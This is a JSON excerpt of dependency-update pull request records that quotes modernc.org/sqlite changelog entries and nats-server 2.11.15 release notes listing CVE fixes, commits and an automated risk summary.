href=\"https://github.com/ocochard\"\u003e\u003ccode\u003e@​ocochard\u003c/code\u003e\u003c/a\u003e)!\u003c/li\u003e\n\u003cli\u003eAdd a Go-facing wrapper for \u003ccode\u003eSQLITE_CONFIG_PCACHE2\u003c/code\u003e. \u003ccode\u003ePageCache\u003c/code\u003e is the factory and \u003ccode\u003eCache\u003c/code\u003e the per-database instance, both idiomatic Go interfaces; \u003ccode\u003ePage\u003c/code\u003e exposes the raw \u003ccode\u003eBuf\u003c/code\u003e and \u003ccode\u003eExtra\u003c/code\u003e pointers that SQLite reads through the C pcache contract. \u003ccode\u003eRegisterPageCache\u003c/code\u003e and \u003ccode\u003eMustRegisterPageCache\u003c/code\u003e install the module process-globally before the first \u003ccode\u003esql.Open\u003c/code\u003e; subsequent Open calls are gated through a one-shot \u003ccode\u003eXsqlite3_config(SQLITE_CONFIG_PCACHE2)\u003c/code\u003e so a too-late Register returns \u003ccode\u003eErrPageCacheTooLate\u003c/code\u003e rather than silently falling through to the built-in pcache1. The binding owns the \u003ccode\u003esqlite3_pcache_page\u003c/code\u003e stub and re-consults the implementation on every Fetch, reusing the stub only when the returned \u003ccode\u003ePage\u003c/code\u003e value is unchanged, which keeps a bounded/evicting purgeable cache safe by construction.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/126\"\u003e#126\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/126\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/126\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003emodernc.org/sqlite/pcache\u003c/code\u003e, the reference page-cache implementation that accompanies the \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/126\"\u003e#126\u003c/a\u003e \u003ccode\u003eSQLITE_CONFIG_PCACHE2\u003c/code\u003e wrapper. \u003ccode\u003epcache.New\u003c/code\u003e returns a \u003ccode\u003e*Pool\u003c/code\u003e satisfying the \u003ccode\u003ePageCache\u003c/code\u003e interface; register it once with \u003ccode\u003esqlite.MustRegisterPageCache(pcache.New())\u003c/code\u003e and every connection opened afterwards draws its pages from it. Each \u003ccode\u003ePool.Create\u003c/code\u003e mints a fresh per-database \u003ccode\u003eCache\u003c/code\u003e: a bounded, LRU-evicting page store that honours the \u003ccode\u003ePRAGMA cache_size\u003c/code\u003e soft cap and releases the least-recently-unpinned page when it must make room. Page memory — the \u003ccode\u003eBuf\u003c/code\u003e and \u003ccode\u003eExtra\u003c/code\u003e buffers SQLite reads through — is allocated with \u003ccode\u003elibc.Xmalloc\u003c/code\u003e/\u003ccode\u003elibc.Xcalloc\u003c/code\u003e and therefore lives off the Go heap, which keeps SQLite's interior pointer arithmetic on the page extras from tripping the race detector's checkptr enforcement. \u003ccode\u003ePool.Stats\u003c/code\u003e reports aggregate lifetime counters (hits, misses, allocs, evictions, rekeys, truncates, caches) across every cache a Pool has created, so hit/miss/eviction behaviour is observable without instrumenting individual caches. Cross-connection page sharing is out of scope for now; each \u003ccode\u003eCreate\u003c/code\u003e returns an independent per-database cache.\u003c/li\u003e\n\u003cli\u003eValidated end-to-end against the \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/126\"\u003e#126\u003c/a\u003e stress workload (\u003ccode\u003ecache_size=16\u003c/code\u003e, 4000 BLOB rows with DELETE and \u003ccode\u003eincremental_vacuum\u003c/code\u003e, \u003ccode\u003eintegrity_check\u003c/code\u003e clean under \u003ccode\u003e-race\u003c/code\u003e) and benchmarked for the memory-utilization goal tracked in [GitLab issue \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/204\"\u003e#204\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/issues/204\"\u003ehttps://gitlab.com/cznic/sqlite/-/issues/204\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/127\"\u003e#127\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/127\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/127\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003cli\u003eTighten the \u003ccode\u003emodernc.org/sqlite/pcache\u003c/code\u003e reference implementation per cznic's !127 review follow-ups. Adds \u003ccode\u003eStats.EasyRefusals\u003c/code\u003e, a per-Pool counter for the cases where \u003ccode\u003eFetchCreateEasy\u003c/code\u003e returns nil at cap; SQLite reacts to a refusal by spilling dirty pages and retrying with \u003ccode\u003eFetchCreateForce\u003c/code\u003e, so the new field is a direct proxy for the I/O pressure the strict Easy contract imposes vs pcache1's recycle-without-spill behavior. \u003ccode\u003eBenchmarkPoolEvictionChurn\u003c/code\u003e was reworked to drive a rotating-residue DELETE (\u003ccode\u003ek % 3 = i % 3\u003c/code\u003e) and re-insert a matching batch each cycle so the spill pressure recurs and \u003ccode\u003eeasy-refusals/op\u003c/code\u003e scales with \u003ccode\u003eb.N\u003c/code\u003e instead of capping at the seed's one-time first-cycle cost; both existing benchmarks now report \u003ccode\u003eeasy-refusals/op\u003c/code\u003e alongside the page-allocs/evictions metrics. \u003ccode\u003eStats.Evictions\u003c/code\u003e documentation was tightened to match the actual behavior (counts LRU eviction, \u003ccode\u003eUnpin(discard=true)\u003c/code\u003e, \u003ccode\u003eShrink\u003c/code\u003e releases, and \u003ccode\u003eUnpin(discard=false)\u003c/code\u003e trimming back to target after a \u003ccode\u003eFetchCreateForce\u003c/code\u003e overcommit; bulk frees from \u003ccode\u003eTruncate\u003c/code\u003e, \u003ccode\u003eRekey\u003c/code\u003e collisions, and \u003ccode\u003eDestroy\u003c/code\u003e are not counted). The \u003ccode\u003eTestPoolRoundTripIntegrity\u003c/code\u003e comment claiming the workload exercises \u003ccode\u003exRekey\u003c/code\u003e ~15 times has been corrected; the SQL surface does not reliably emit xRekey here, and that codepath is covered by the unit tests instead.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/130\"\u003e#130\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/130\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/130\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003cli\u003eMake \u003ccode\u003emodernc.org/sqlite/pcache\u003c/code\u003e \u003ccode\u003e-race\u003c/code\u003e-clean under SQLite's \u003ccode\u003ecache=shared\u003c/code\u003e mode. The pool already runs correctly under shared-cache because every callback into a given \u003ccode\u003eCache\u003c/code\u003e is serialised internally by SQLite's \u003ccode\u003esqlite3BtreeEnter\u003c/code\u003e on the \u003ccode\u003eBtShared\u003c/code\u003e mutex; verified empirically with a lock-free in-flight probe (max-in-flight = 1 on the canonical two-connection workload, 4 on a positive control with goroutines hitting the cache directly). However the Go race detector does not recognise SQLite's libc mutex as a happens-before edge and reports false-positive races on \u003ccode\u003eFetch\u003c/code\u003e vs \u003ccode\u003eUnpin\u003c/code\u003e reads/writes of the per-cache state, which surfaces as \u003ccode\u003eDATA RACE\u003c/code\u003e failures for any user who registers the pool and runs their suite under \u003ccode\u003e-race\u003c/code\u003e. A \u003ccode\u003esync.Mutex\u003c/code\u003e on the \u003ccode\u003ecache\u003c/code\u003e type is now taken on every public method (\u003ccode\u003eSetSize\u003c/code\u003e, \u003ccode\u003ePageCount\u003c/code\u003e, \u003ccode\u003eFetch\u003c/code\u003e, \u003ccode\u003eUnpin\u003c/code\u003e, \u003ccode\u003eRekey\u003c/code\u003e, \u003ccode\u003eTruncate\u003c/code\u003e, \u003ccode\u003eDestroy\u003c/code\u003e, \u003ccode\u003eShrink\u003c/code\u003e), always. On the common non-shared-cache path the lock is uncontended (one atomic CAS per Lock/Unlock pair, negligible next to the SQLite work it bookends); on the shared-cache path it just rubber-stamps the order SQLite's \u003ccode\u003eBtShared\u003c/code\u003e mutex already established. A new \u003ccode\u003ee2e_test.go\u003c/code\u003e \u003ccode\u003eTestSharedCacheTwoConns_Integrity\u003c/code\u003e drives two \u003ccode\u003esql.Conn\u003c/code\u003e against the same \u003ccode\u003ecache=shared\u003c/code\u003e URI with concurrent writers and asserts \u003ccode\u003ePRAGMA integrity_check = ok\u003c/code\u003e under \u003ccode\u003e-race\u003c/code\u003e; passes cleanly with the lock, would surface the false-positive without it. Design notes live in \u003ccode\u003epcache/sharing.go\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/131\"\u003e#131\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/131\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/131\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003cli\u003eAdd a Go wrapper for \u003ccode\u003esqlite3_db_status\u003c/code\u003e, the per-connection runtime counters (cache hit/miss/write/spill rates, schema and prepared-statement memory, lookaside usage, deferred foreign keys). \u003ccode\u003eDBStatus\u003c/code\u003e is an interface implemented by the driver connection and reached through the \u003ccode\u003edatabase/sql\u003c/code\u003e escape hatch \u003ccode\u003e(*sql.Conn).Raw()\u003c/code\u003e, mirroring the existing \u003ccode\u003eFileControl\u003c/code\u003e surface; \u003ccode\u003eDBStatusOp\u003c/code\u003e is a distinct typed enum of the \u003ccode\u003eSQLITE_DBSTATUS_*\u003c/code\u003e verbs so a counter from a different op family will not compile in its place. \u003ccode\u003eStatus(op, reset)\u003c/code\u003e returns the \u003ccode\u003e(current, high)\u003c/code\u003e pair and optionally resets the counter. This also lets \u003ccode\u003emodernc.org/sqlite/pcache\u003c/code\u003e measure real I/O instead of the \u003ccode\u003eEasyRefusals\u003c/code\u003e proxy: the new \u003ccode\u003eBenchmarkPoolSpillIO\u003c/code\u003e reads the pager-level \u003ccode\u003eSQLITE_DBSTATUS_CACHE_SPILL\u003c/code\u003e/\u003ccode\u003e_CACHE_WRITE\u003c/code\u003e counters, which the pager maintains identically for pcache1 and the pool, making the pcache1-vs-pool comparison cznic raised on the !127 review a genuine apples-to-apples measurement. On the rotating-residue eviction-churn workload at \u003ccode\u003ecache_size=16\u003c/code\u003e the pool spills ~3.5x more than pcache1 (cache-spill/op 31.96 vs 8.96) for ~3% more page writes (cache-write/op 450 vs 436) at identical hit/miss, quantifying the I/O cost of the strict Easy contract that \u003ccode\u003eEasyRefusals\u003c/code\u003e only proxied.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/132\"\u003e#132\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/132\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/132\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003cli\u003eAdd an opt-in \u003ccode\u003e_dqs\u003c/code\u003e DSN query parameter that disables SQLite's double-quoted string literal compatibility quirk on a per-connection basis. When \u003ccode\u003e_dqs=0\u003c/code\u003e (or any \u003ccode\u003estrconv.ParseBool\u003c/code\u003e false value) is supplied, the driver calls \u003ccode\u003esqlite3_db_config\u003c/code\u003e with \u003ccode\u003eSQLITE_DBCONFIG_DQS_DDL\u003c/code\u003e and \u003ccode\u003eSQLITE_DBCONFIG_DQS_DML\u003c/code\u003e set to off before any statement is prepared, so a double-quoted identifier that fails to resolve raises a parse error instead of silently falling back to a string literal. Absence of the parameter, or \u003ccode\u003e_dqs=1\u003c/code\u003e, leaves SQLite's default behavior unchanged; existing DSNs continue to work byte-for-byte. Resolves [GitLab issue \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/61\"\u003e#61\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/issues/61\"\u003ehttps://gitlab.com/cznic/sqlite/-/issues/61\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/128\"\u003e#128\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/128\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/128\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003cli\u003eAdd an opt-in \u003ccode\u003e_error_rc\u003c/code\u003e DSN query parameter for clearer error reporting on open-time failures. When \u003ccode\u003e_error_rc=1\u003c/code\u003e (or any \u003ccode\u003estrconv.ParseBool\u003c/code\u003e true value) is supplied, error strings synthesised from a \u003ccode\u003e(rc, db)\u003c/code\u003e pair only append \u003ccode\u003esqlite3_errmsg(db)\u003c/code\u003e when \u003ccode\u003esqlite3_extended_errcode(db)\u003c/code\u003e is consistent with the operation rc (full match first, primary code \u003ccode\u003e\u0026amp;0xff\u003c/code\u003e as fallback). On mismatch the canonical \u003ccode\u003esqlite3_errstr(rc)\u003c/code\u003e is used alone, so an open-time \u003ccode\u003eSQLITE_CANTOPEN\u003c/code\u003e no longer carries the temporary handle's stale \u0026quot;out of memory\u0026quot; errmsg. Absence of the parameter, or \u003ccode\u003e_error_rc=0\u003c/code\u003e, preserves the legacy \u0026quot;errstr: errmsg\u0026quot; form byte-for-byte; existing callers that parse error strings are unaffected. The driver's \u003ccode\u003e*Error.Code()\u003c/code\u003e returns the same SQLite result code in both modes. Parsed before \u003ccode\u003esqlite3_open_v2\u003c/code\u003e so open-time errors are covered. Resolves [GitLab issue \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/230\"\u003e#230\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/issues/230\"\u003ehttps://gitlab.com/cznic/sqlite/-/issues/230\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/129\"\u003e#129\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/129\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/129\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e2026-06-06 v1.52.0:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade to \u003ca href=\"https://sqlite.org/releaselog/3_53_2.html\"\u003eSQLite 3.53.2\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eBackup.Remaining\u003c/code\u003e and \u003ccode\u003eBackup.PageCount\u003c/code\u003e, thin wrappers around the existing \u003ccode\u003esqlite3_backup_remaining\u003c/code\u003e and \u003ccode\u003esqlite3_backup_pagecount\u003c/code\u003e C symbols. Together they expose the per-\u003ccode\u003eStep\u003c/code\u003e progress counters that the underlying backup object already maintains, enabling progress reporting during online backups without dropping to \u003ccode\u003emodernc.org/sqlite/lib\u003c/code\u003e directly.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/122\"\u003e#122\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/122\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/122\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003cli\u003eDrop the redundant second copy in \u003ccode\u003e(*conn).columnText\u003c/code\u003e, the path that backs every \u003ccode\u003eRows.Scan\u003c/code\u003e into a Go \u003ccode\u003estring\u003c/code\u003e for a TEXT column. The value's bytes are still copied once out of SQLite-owned memory into a fresh Go buffer; that buffer is then reinterpreted as the result string with \u003ccode\u003eunsafe.String\u003c/code\u003e rather than copied a second time by the implicit \u003ccode\u003estring([]byte)\u003c/code\u003e conversion. This removes one allocation per TEXT value per row and roughly halves the bytes allocated on that path; on the new \u003ccode\u003eBenchmarkColumnTextScan\u003c/code\u003e cases it is ~13–20% faster for payloads of 256 B and larger, with no measurable change for very short strings. Purely internal: no API or behavioral change, and the returned string never aliases SQLite's buffer.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/123\"\u003e#123\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/123\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/123\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003cli\u003eCache each result column's declared type once per result set in \u003ccode\u003enewRows\u003c/code\u003e instead of recomputing it on every row. The TEXT branch of \u003ccode\u003eRows.Next\u003c/code\u003e calls \u003ccode\u003eColumnTypeDatabaseTypeName\u003c/code\u003e for every TEXT column on every row (independent of any DSN flag), which previously did a \u003ccode\u003elibc.GoString\u003c/code\u003e + \u003ccode\u003estrings.ToUpper\u003c/code\u003e each time; that lookup is now a single index into a cached, pre-uppercased \u003ccode\u003e[]string\u003c/code\u003e, and \u003ccode\u003eColumnTypeScanType\u003c/code\u003e reads the same cache and drops its per-call \u003ccode\u003estrings.ToLower\u003c/code\u003e. The declared type is fixed for the lifetime of a prepared statement, so the C round-trip is paid once per column rather than once per column per row, removing exactly 1 alloc + 8 B per TEXT column per row from the \u003ccode\u003eNext\u003c/code\u003e hot path. The new \u003ccode\u003eBenchmarkTextToTimeScan\u003c/code\u003e cases show ~7% faster on a 1000-row DATETIME SELECT under \u003ccode\u003e_texttotime=1\u003c/code\u003e. Purely internal: \u003ccode\u003eColumnTypeDatabaseTypeName\u003c/code\u003e and \u003ccode\u003eColumnTypeScanType\u003c/code\u003e return identical values, no API or behavioral change.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/124\"\u003e#124\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/124\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/124\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003cli\u003eCache, per result column, the \u003ccode\u003eparseTimeFormats\u003c/code\u003e index that first parsed a TEXT-stored DATE/DATETIME/TIMESTAMP value, and try that format first on later rows instead of re-walking the list from the top. \u003ccode\u003e(*conn).parseTime\u003c/code\u003e previously ran \u003ccode\u003etime.Parse\u003c/code\u003e down the format list on every such row; for the canonical SQLite TEXT datetime format every row paid two failed \u003ccode\u003etime.Parse\u003c/code\u003e attempts — each allocating a \u003ccode\u003e*time.ParseError\u003c/code\u003e — before the match. On a 1000-row DATETIME TEXT SELECT this cuts ~50% of allocs/op and ~57% of B/op and is ~37% faster. The fall-through chain is preserved exactly: the seven formats are mutually exclusive, so the cached hint can never select a different match than the in-order scan, and the parsed \u003ccode\u003edriver.Value\u003c/code\u003e is identical to before. Purely internal: no API or behavioral change.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/125\"\u003e#125\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/125\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/125\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e2026-05-28 v1.51.0:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePool the \u003ccode\u003e[]driver.Value\u003c/code\u003e slice passed to scalar/aggregate UDF callbacks and to vtab \u003ccode\u003eFilter\u003c/code\u003e/\u003ccode\u003eInsert\u003c/code\u003e/\u003ccode\u003eUpdate\u003c/code\u003e callbacks, eliminating the dominant per-row allocation on UDF-heavy queries. Benchmarks on a 1000-row, 3-arg noop scalar UDF show ~40% fewer bytes/op and ~15% fewer allocs/op.\u003c/li\u003e\n\u003cli\u003eDocument the matching \u0026quot;arguments are not valid past return\u0026quot; contract on \u003ccode\u003evtab.Cursor.Filter\u003c/code\u003e and \u003ccode\u003evtab.Updater.Insert\u003c/code\u003e/\u003ccode\u003eUpdate\u003c/code\u003e, consistent with the existing rule for \u003ccode\u003eFunctionImpl.Scalar\u003c/code\u003e / \u003ccode\u003eAggregateFunction.Step\u003c/code\u003e / \u003ccode\u003eWindowInverse\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eResolves [GitLab issue \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/226\"\u003e#226\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/issues/226\"\u003ehttps://gitlab.com/cznic/sqlite/-/issues/226\u003c/a\u003e). See [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/114\"\u003e#114\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/114\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/114\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eFileControl.FileControlDataVersion\u003c/code\u003e, a wrapper around \u003ccode\u003eSQLITE_FCNTL_DATA_VERSION\u003c/code\u003e for observing pager-cache data-version changes, including those made on the same connection. Useful a...\n\n_Description has been truncated_","html_url":"https://github.com/olucasandrade/kaptanto/pull/18","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/olucasandrade%2Fkaptanto/issues/18","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/18/packages"},{"uuid":"4657202956","node_id":"PR_kwDOOJZaS87mJd6Y","number":234,"state":"open","title":"Bump github.com/nats-io/nats-server/v2 from 2.11.4 to 2.11.15","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-06-13T22:51:21.000Z","updated_at":"2026-06-13T22:55:29.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.11.4","new_version":"2.11.15","repository_url":"https://github.com/nats-io/nats-server"}],"path":null,"ecosystem":"go"},"body":"Bumps [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) from 2.11.4 to 2.11.15.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.11.15\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_211\"\u003e2.11 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.10.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egolang.org/x/crypto v0.49.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7953\"\u003e#7953\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/jwt/v2 v2.8.1 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7960\"\u003e#7960\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egithub.com/antithesishq/antithesis-sdk-go v0.6.0-default-no-op\u003c/li\u003e\n\u003cli\u003egithub.com/klauspost/compress v1.18.4\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.49.0\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/nkeys v0.4.15\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCVEs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixes CVE-2026-33216, CVE-2026-33217, CVE-2026-33215 (affecting systems using MQTT)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33246 (affects systems using leafnodes and service imports)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33218 (affects systems using leafnodes)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33219 (affects systems using WebSockets)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33223, CVE-2026-33222 (affects systems using JetStream)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33248 (affects systems using mutual TLS)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33247 (affects systems providing credentials on the command line)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33249 (affects systems where client publish permissions should be restricted)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThere is now a 1MB size limit on JWTs (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7960\"\u003e#7960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe stream peer-remove command now accepts a peer ID as well as a server name (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7952\"\u003e#7952\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMQTT\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eProtocol compliance has been improved, including more error handling on invalid or malformed MQTT packets (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7933\"\u003e#7933\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eImproved handling of duplicate headers\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/bef17e1d9de6574fae0eabe1798db0d4529834e4\"\u003e\u003ccode\u003ebef17e1\u003c/code\u003e\u003c/a\u003e Release v2.11.15\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e349b316b7ddb7ea1c970cb800095492d3107e5f\"\u003e\u003ccode\u003ee349b31\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.11.15 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/62\"\u003e#62\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/782a6df61b9faafc6fb22a22e8601db3d46301af\"\u003e\u003ccode\u003e782a6df\u003c/code\u003e\u003c/a\u003e [FIXED] Avoid stalling read loop on leafnode ErrMinimumVersionRequired\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/74a5f6fd2a9303edc04eab481ebd0ee87bd2af9f\"\u003e\u003ccode\u003e74a5f6f\u003c/code\u003e\u003c/a\u003e Remove FIXME about auth callout nonce\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/ea8ae87badca22c13445bd526a9ba94c33a93f10\"\u003e\u003ccode\u003eea8ae87\u003c/code\u003e\u003c/a\u003e Message tracing requires client publish permission for \u003ccode\u003eNats-Trace-Dest\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/3fd43a0a07d56d8e32f5f01d3032281a6dda22f4\"\u003e\u003ccode\u003e3fd43a0\u003c/code\u003e\u003c/a\u003e Rebuild request info headers on leaf service imports\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/8dbf004d17e944bea68b2a1e194b582921ae108e\"\u003e\u003ccode\u003e8dbf004\u003c/code\u003e\u003c/a\u003e [FIXED] MQTT flappers use monotonic time\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/265a99b9ac09ad682291b9fe3f5a459b0e496a6f\"\u003e\u003ccode\u003e265a99b\u003c/code\u003e\u003c/a\u003e Update JWT and other dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/d6d1dd91c3a92a6e7c59e58a9f82ee9a64bd7443\"\u003e\u003ccode\u003ed6d1dd9\u003c/code\u003e\u003c/a\u003e Streaming parsing of WebSocket frames with limited memory allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e6057af102d530ea18f20744447845876749b9b1\"\u003e\u003ccode\u003ee6057af\u003c/code\u003e\u003c/a\u003e [FIXED] Avoid parsing trace headers from HPUB payload\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.11.4...v2.11.15\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\u003c!-- CURSOR_SUMMARY --\u003e\n---\n\n\u003e [!NOTE]\n\u003e **High Risk**\n\u003e Pulls in nats-server 2.11.15 with numerous CVE fixes and behavioral changes to auth, JetStream, MQTT, leafnodes, and WebSockets—high impact for a NATS management app even though only vendored code changed.\n\u003e \n\u003e **Overview**\n\u003e This PR **bumps the embedded NATS stack** used by the project: **`github.com/nats-io/nats-server/v2`** from **2.11.4 → 2.11.15** and 